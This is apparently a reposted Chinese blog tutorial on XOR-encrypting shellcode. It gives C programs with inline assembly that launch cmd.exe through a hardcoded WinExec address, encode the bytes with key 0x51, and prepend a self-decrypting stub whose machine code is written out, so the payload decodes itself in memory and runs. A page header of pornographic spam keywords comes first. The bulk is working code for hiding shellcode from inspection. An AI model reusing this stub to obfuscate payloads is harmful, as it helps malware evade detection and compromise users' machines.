日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

利用xor给shellcode加壳

發布時間:2023/12/1 编程问答 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 利用xor给shellcode加壳 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

首先看我們的shellcode,執行彈出cmd
沒有shellcode:

#include "stdio.h" #include "windows.h" #include <string.h> #include "stdlib.h"int main(int argc, char* argv[]) {printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{mov eax,strpush 5 ;5=SW_SHOWpush eaxmov eax,0x755bdab0 //call dword ptr [WinExec]call eax}return 0;}

將匯編改成shellcode,注意mov eax,0x755bdab0,后面0x755bdab0是WinExec函數的地址,每個機子可能不一樣,請查看下自己機子這個函數的地址(將mov eax,0x755bdab0改成call dword ptr [WinExec],當執行call dword ptr [WinExec]時,查看eip的值就是WinExec的地址),不要用call dword ptr [WinExec],雖然也能彈出cmd,但是對后面有很大影響,我試了,解碼后彈不出cmd(我也不知道為啥,我一開始就是用這個的,浪費我好長時間)。

#include "stdio.h" #include "windows.h" #include <string.h> #include "stdlib.h" char key=0x51; char shellcode[]="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0";int main(int argc, char* argv[]) {printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{lea eax,shellcodecall eax}return 0; }


利用xor給shellcode加密,加密的程序為:

#include "stdio.h" #include "windows.h" #include <string.h> #include "stdlib.h" char key=0x51; char shellcode[]="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0";unsigned char decodeShellCode[200];int main(int argc, char* argv[]) {printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";int length=sizeof(shellcode)/sizeof(shellcode[0]);for (int i=0;i<length-1;i++){ printf("\\x%0.2x",shellcode[i]); decodeShellCode[i]=shellcode[i]^key;printf("\t");printf("\\x%0.2x",decodeShellCode[i]);printf("\n");}return 0; }


將shellcode加密,然后輸出來,后面的是加密后的shellcode,將后面的粘貼復制到一個數組里

char encodeSC[]="\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";

將加密的shellcode加載到內存里,然后動態在內存里改回來

先解密要執行的代碼,然后再跳到解密后哪里執行加載整個shellcode到內存,前面專門解密后面的部分,再執行,就是加載整個外殼代碼到內存,前面專門解密后面的部分,再執行

解密的程序為:

__asm{add eax,24mov ecx,13xor edx,edx decode:mov bl,byte ptr ds:[eax+edx]xor bl,51hmov byte ptr ds:[eax+edx],blinc edxloop decode}

將這段程序反匯編,找出機器碼
程序中24是這段機器碼的長度,13是我們的shellcode長度
將機器碼放到我們加密的shellcode前面

char decodeSC[]="\x83\xC0\x18\xB9\x0d\x00\x00\x00\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3E\x88\x1C\x10\x42\xE2\xF2" "\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";

最終程序

#include "stdio.h" #include "windows.h" #include <string.h> #include "stdlib.h" char key=0x51;char decodeSC[]="\x83\xC0\x18\xB9\x0d\x00\x00\x00\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3E\x88\x1C\x10\x42\xE2\xF2" "\xda\x14\xa5\x3b\x54\x01\xe9\xe1\x8b\x0a\x24\xae\x81";int main(int argc, char* argv[]) {printf("begin\n");HINSTANCE libHandle;char *dll="kernel32.dll";libHandle=LoadLibrary(dll);char *str="cmd.exe";__asm{lea eax,decodeSCpush eaxret }return 0; }


思路:

  • 找出我們要執行的shellcode
  • 利用xor給shellcode加密成encodeShellcode
  • 再寫個匯編,用于解密encodeShellcode,再寫匯編時,要注意這個匯編產生的機器碼長度(mov eax,24,24就是這個匯編機器碼的長度)
  • 找出匯編的機器碼,放在加密的shelcode前面
  • 將數組地址賦給eax,push eax,ret
  • 建議反匯編的時候,一步步執行,我們就能看到動態修改加密后的shellcode了

    總結

    以上是生活随笔為你收集整理的利用xor给shellcode加壳的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。